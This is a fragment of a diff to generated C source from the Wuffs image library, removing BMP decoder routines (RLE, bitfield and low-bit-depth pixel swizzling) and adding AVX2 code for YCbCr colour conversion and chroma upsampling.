0u; -- goto label__middle__continue; -- } else if (v_rle_state == 2u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -- goto label__goto_suspend__break; -- } -- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- if (v_code < 2u) { -- if ((self->private_impl.f_dst_y >= self->private_impl.f_height) && (v_code == 0u)) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); -- goto exit; -- } -- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, 18446744073709551615u); -- self->private_impl.f_dst_x = 0u; -- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -- if (v_code > 0u) { -- goto label__outer__break; -- } -- v_rle_state = 0u; -- goto label__outer__continue; -- } else if (v_code == 2u) { -- v_rle_state = 4u; -- continue; -- } -- self->private_impl.f_rle_length = ((uint32_t)(v_code)); -- self->private_impl.f_rle_padded = ((self->private_impl.f_bits_per_pixel == 8u) && ((v_code & 1u) != 0u)); -- v_rle_state = 3u; -- continue; -- } else if (v_rle_state == 3u) { -- if (self->private_impl.f_bits_per_pixel == 8u) { -- v_n = wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( -- &self->private_impl.f_swizzler, -- self->private_impl.f_rle_length, -- v_dst, -- v_dst_palette, -- &iop_a_src, -- io2_a_src); -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_rle_length, ((uint32_t)(v_n))); -- } else { -- v_chunk_count = ((self->private_impl.f_rle_length + 3u) / 4u); -- v_p0 = 0u; -- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 2u)) { -- v_chunk_bits = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -- iop_a_src += 2u; -- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); -- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); -- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); -- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); -- v_p0 = ((v_p0 & 255u) + 4u); -- v_chunk_count -= 1u; -- } -- v_p0 = wuffs_base__u32__min(v_p0, self->private_impl.f_rle_length); -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, v_p0); -- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_rle_length, v_p0); -- } -- if (self->private_impl.f_rle_length > 0u) { -- goto label__goto_suspend__break; -- } -- if (self->private_impl.f_rle_padded) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -- goto label__goto_suspend__break; -- } -- iop_a_src += 1u; -- self->private_impl.f_rle_padded = false; -- } -- v_rle_state = 0u; -- goto label__middle__continue; -- } else if (v_rle_state == 4u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -- goto label__goto_suspend__break; -- } -- self->private_impl.f_rle_delta_x = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- v_rle_state = 5u; -- continue; -- } -- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -- goto label__goto_suspend__break; -- } -- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- if (self->private_impl.f_rle_delta_x > 0u) { -- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, ((uint64_t)(self->private_impl.f_rle_delta_x))); -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(self->private_impl.f_rle_delta_x))); -- self->private_impl.f_rle_delta_x = 0u; -- if (self->private_impl.f_dst_x > self->private_impl.f_width) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); -- goto exit; -- } -- } -- if (v_code > 0u) { --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- v_code -= 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- while (true) { -- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); -- goto exit; -- } -- v_row = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -- if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { -- v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); -- } -- if (v_code <= 0u) { -- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, ((uint64_t)(self->private_impl.f_dst_x))); -- break; -- } -- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- v_code -= 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } -- } -- v_rle_state = 0u; -- goto label__middle__continue; -- } -- } -- label__goto_suspend__break:; -- self->private_impl.f_rle_state = v_rle_state; -- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -- goto ok; -- } -- } -- label__outer__break:; -- while (self->private_impl.f_dst_y < self->private_impl.f_height) { -- v_row = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -- if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { -- v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); -- } -- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); -- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -- } -- status = wuffs_base__make_status(NULL); -- goto ok; -+ __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); -+ __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); -+ __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); - -- ok: -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+ __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); -+ __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); -+ __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); -+ __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); - -- return status; --} -+ __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); -+ __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); -+ __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); -+ __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); - --// -------- func bmp.decoder.swizzle_bitfields -+ __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); -+ __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); -+ __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); -+ __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__swizzle_bitfields( -- wuffs_bmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+ // § Note the swapped B and R channels. -+ __m256i mix00 = _mm256_unpacklo_epi8(packed_r_eve, packed_g_eve); -+ __m256i mix01 = _mm256_unpacklo_epi8(packed_r_odd, packed_g_odd); -+ __m256i mix02 = _mm256_unpacklo_epi8(packed_b_eve, uFFFF); -+ __m256i mix03 = _mm256_unpacklo_epi8(packed_b_odd, uFFFF); - -- wuffs_base__pixel_format v_dst_pixfmt = {0}; -- uint32_t v_dst_bits_per_pixel = 0; -- uint32_t v_dst_bytes_per_pixel = 0; -- uint64_t v_dst_bytes_per_row = 0; -- wuffs_base__slice_u8 v_dst_palette = {0}; -- wuffs_base__table_u8 v_tab = {0}; -- wuffs_base__slice_u8 v_dst = {0}; -- uint64_t v_i = 0; -- uint64_t v_n = 0; -- uint32_t v_p0 = 0; -- uint32_t v_p1 = 0; -- uint32_t v_p1_temp = 0; -- uint32_t v_num_bits = 0; -- uint32_t v_c = 0; -- uint32_t v_c32 = 0; -- uint32_t v_channel = 0; -+ __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); -+ __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); -+ __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); -+ __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); -+ __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); -+ __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); -+ __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); - -- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -- if ((v_dst_bits_per_pixel & 7u) != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -- goto exit; -- } -- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- label__outer__continue:; -- while (true) { -- while (self->private_impl.f_pending_pad > 0u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -- goto ok; -- } -- self->private_impl.f_pending_pad -= 1u; -- iop_a_src += 1u; -- } -- while (true) { -- if (self->private_impl.f_dst_x == self->private_impl.f_width) { -- self->private_impl.f_dst_x = 0u; -- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -- if (self->private_impl.f_height > 0u) { -- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; -- } -- goto label__outer__break; -- } else if (self->private_impl.f_pad_per_row != 0u) { -- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; -- goto label__outer__continue; -- } -- } -- v_p1_temp = ((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x)); -- v_p1 = wuffs_base__u32__min(v_p1_temp, 256u); -- v_p0 = 0u; -- while (v_p0 < v_p1) { -- if (self->private_impl.f_bits_per_pixel == 16u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -- break; -- } -- v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2u; -- } else { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -- break; -- } -- v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4u; -- } -- v_channel = 0u; -- while (v_channel < 4u) { -- if (self->private_impl.f_channel_num_bits[v_channel] == 0u) { -- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = 255u; -- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = 255u; -- } else { -- v_c = ((v_c32 & self->private_impl.f_channel_masks[v_channel]) >> self->private_impl.f_channel_shifts[v_channel]); -- v_num_bits = ((uint32_t)(self->private_impl.f_channel_num_bits[v_channel])); -- while (v_num_bits < 16u) { -- v_c |= ((uint32_t)(v_c << v_num_bits)); -- v_num_bits *= 2u; -- } -- v_c >>= (v_num_bits - 16u); -- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = ((uint8_t)((v_c >> 0u))); -- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = ((uint8_t)((v_c >> 8u))); -- } -- v_channel += 1u; -- } -- v_p0 += 1u; -- } -- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); -- } -- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -- if (v_i >= ((uint64_t)(v_dst.len))) { -- v_n = ((uint64_t)(v_p0)); -- } else { -- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, (8u * v_p0))); -- } -- if (v_n == 0u) { -- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -- goto ok; -- } -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -- } -- } -- label__outer__break:; -- status = wuffs_base__make_status(NULL); -- goto ok; -+ __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); -+ __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); -+ __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); -+ __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); - -- ok: -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); -+ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); -+ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); -+ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); - -- return status; -+ uint32_t n = 32u - (31u & (x - x_end)); -+ dst_iter += 4u * n; -+ up0 += n; -+ up1 += n; -+ up2 += n; -+ x += n; -+ } - } - --// -------- func bmp.decoder.swizzle_low_bit_depth -+#if defined(__GNUC__) && !defined(__clang__) -+// No-op. -+#else -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") -+static const uint8_t* // -+wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( -+ uint8_t* dst_ptr, -+ const uint8_t* src_ptr_major, -+ const uint8_t* src_ptr_minor, -+ size_t src_len, -+ uint32_t h1v2_bias_ignored, -+ bool first_column, -+ bool last_column) { -+ uint8_t* dp = dst_ptr; -+ const uint8_t* sp_major = src_ptr_major; -+ const uint8_t* sp_minor = src_ptr_minor; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__swizzle_low_bit_depth( -- wuffs_bmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+ if (first_column) { -+ src_len--; -+ if ((src_len <= 0u) && last_column) { -+ uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // -+ (4u * ((uint32_t)(*sp_minor++))); -+ *dp++ = (uint8_t)((sv + 8u) >> 4u); -+ *dp++ = (uint8_t)((sv + 7u) >> 4u); -+ return dst_ptr; -+ } - -- wuffs_base__pixel_format v_dst_pixfmt = {0}; -- uint32_t v_dst_bits_per_pixel = 0; -- uint32_t v_dst_bytes_per_pixel = 0; -- uint64_t v_dst_bytes_per_row = 0; -- wuffs_base__slice_u8 v_dst_palette = {0}; -- wuffs_base__table_u8 v_tab = {0}; -- wuffs_base__slice_u8 v_dst = {0}; -- uint64_t v_i = 0; -- uint64_t v_n = 0; -- uint32_t v_p0 = 0; -- uint32_t v_chunk_bits = 0; -- uint32_t v_chunk_count = 0; -- uint32_t v_pixels_per_chunk = 0; -+ uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. -+ uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. -+ uint32_t sv_major_p1 = sp_major[+1]; -+ uint32_t sv_minor_p1 = sp_minor[+1]; - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -+ (3u * ((uint32_t)(*sp_minor++))); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); -+ if (src_len <= 0u) { -+ return dst_ptr; -+ } - } - -- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -- if ((v_dst_bits_per_pixel & 7u) != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -- goto exit; -- } -- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- while (true) { -- if (self->private_impl.f_dst_x == self->private_impl.f_width) { -- self->private_impl.f_dst_x = 0u; -- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -- break; -- } -- } -- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); -- } -- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -- if (v_i >= ((uint64_t)(v_dst.len))) { -- if (self->private_impl.f_bits_per_pixel == 1u) { -- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); -- v_pixels_per_chunk = 32u; -- } else if (self->private_impl.f_bits_per_pixel == 2u) { -- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); -- v_pixels_per_chunk = 16u; -- } else { -- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); -- v_pixels_per_chunk = 8u; -- } -- while ((v_chunk_count >= 64u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 256u)) { -- iop_a_src += 256u; -- self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 64u)))); -- v_chunk_count -= 64u; -- } -- while ((v_chunk_count >= 8u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 32u)) { -- iop_a_src += 32u; -- self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 8u)))); -- v_chunk_count -= 8u; -- } -- while (v_chunk_count > 0u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -- goto ok; -- } -- iop_a_src += 4u; -- self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 1u)))); -- v_chunk_count -= 1u; -- } -- continue; -- } -- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); -- v_p0 = 0u; -- if (self->private_impl.f_bits_per_pixel == 1u) { -- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); -- v_chunk_count = wuffs_base__u32__min(v_chunk_count, 16u); -- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { -- v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4u; -- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((1u & (v_chunk_bits >> 31u)))); -- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((1u & (v_chunk_bits >> 30u)))); -- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((1u & (v_chunk_bits >> 29u)))); -- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((1u & (v_chunk_bits >> 28u)))); -- self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((1u & (v_chunk_bits >> 27u)))); -- self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((1u & (v_chunk_bits >> 26u)))); -- self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((1u & (v_chunk_bits >> 25u)))); -- self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((1u & (v_chunk_bits >> 24u)))); -- self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((1u & (v_chunk_bits >> 23u)))); -- self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((1u & (v_chunk_bits >> 22u)))); -- self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((1u & (v_chunk_bits >> 21u)))); -- self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((1u & (v_chunk_bits >> 20u)))); -- self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((1u & (v_chunk_bits >> 19u)))); -- self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((1u & (v_chunk_bits >> 18u)))); -- self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((1u & (v_chunk_bits >> 17u)))); -- self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((1u & (v_chunk_bits >> 16u)))); -- self->private_data.f_scratch[(v_p0 + 16u)] = ((uint8_t)((1u & (v_chunk_bits >> 15u)))); -- self->private_data.f_scratch[(v_p0 + 17u)] = ((uint8_t)((1u & (v_chunk_bits >> 14u)))); -- self->private_data.f_scratch[(v_p0 + 18u)] = ((uint8_t)((1u & (v_chunk_bits >> 13u)))); -- self->private_data.f_scratch[(v_p0 + 19u)] = ((uint8_t)((1u & (v_chunk_bits >> 12u)))); -- self->private_data.f_scratch[(v_p0 + 20u)] = ((uint8_t)((1u & (v_chunk_bits >> 11u)))); -- self->private_data.f_scratch[(v_p0 + 21u)] = ((uint8_t)((1u & (v_chunk_bits >> 10u)))); -- self->private_data.f_scratch[(v_p0 + 22u)] = ((uint8_t)((1u & (v_chunk_bits >> 9u)))); -- self->private_data.f_scratch[(v_p0 + 23u)] = ((uint8_t)((1u & (v_chunk_bits >> 8u)))); -- self->private_data.f_scratch[(v_p0 + 24u)] = ((uint8_t)((1u & (v_chunk_bits >> 7u)))); -- self->private_data.f_scratch[(v_p0 + 25u)] = ((uint8_t)((1u & (v_chunk_bits >> 6u)))); -- self->private_data.f_scratch[(v_p0 + 26u)] = ((uint8_t)((1u & (v_chunk_bits >> 5u)))); -- self->private_data.f_scratch[(v_p0 + 27u)] = ((uint8_t)((1u & (v_chunk_bits >> 4u)))); -- self->private_data.f_scratch[(v_p0 + 28u)] = ((uint8_t)((1u & (v_chunk_bits >> 3u)))); -- self->private_data.f_scratch[(v_p0 + 29u)] = ((uint8_t)((1u & (v_chunk_bits >> 2u)))); -- self->private_data.f_scratch[(v_p0 + 30u)] = ((uint8_t)((1u & (v_chunk_bits >> 1u)))); -- self->private_data.f_scratch[(v_p0 + 31u)] = ((uint8_t)((1u & (v_chunk_bits >> 0u)))); -- v_p0 = ((v_p0 & 511u) + 32u); -- v_chunk_count -= 1u; -- } -- } else if (self->private_impl.f_bits_per_pixel == 2u) { -- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); -- v_chunk_count = wuffs_base__u32__min(v_chunk_count, 32u); -- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { -- v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4u; -- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((3u & (v_chunk_bits >> 30u)))); -- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((3u & (v_chunk_bits >> 28u)))); -- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((3u & (v_chunk_bits >> 26u)))); -- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((3u & (v_chunk_bits >> 24u)))); -- self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((3u & (v_chunk_bits >> 22u)))); -- self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((3u & (v_chunk_bits >> 20u)))); -- self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((3u & (v_chunk_bits >> 18u)))); -- self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((3u & (v_chunk_bits >> 16u)))); -- self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((3u & (v_chunk_bits >> 14u)))); -- self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((3u & (v_chunk_bits >> 12u)))); -- self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((3u & (v_chunk_bits >> 10u)))); -- self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((3u & (v_chunk_bits >> 8u)))); -- self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((3u & (v_chunk_bits >> 6u)))); -- self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((3u & (v_chunk_bits >> 4u)))); -- self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((3u & (v_chunk_bits >> 2u)))); -- self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((3u & (v_chunk_bits >> 0u)))); -- v_p0 = ((v_p0 & 511u) + 16u); -- v_chunk_count -= 1u; -- } -- } else { -- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); -- v_chunk_count = wuffs_base__u32__min(v_chunk_count, 64u); -- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { -- v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4u; -- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 28u)))); -- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 24u)))); -- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 20u)))); -- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 16u)))); -- self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); -- self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); -- self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); -- self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); -- v_p0 = ((v_p0 & 511u) + 8u); -- v_chunk_count -= 1u; -- } -- } -- v_p0 = wuffs_base__u32__min(v_p0, wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x)); -- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); -- if (v_n == 0u) { -- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -- goto ok; -- } -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -- } -- 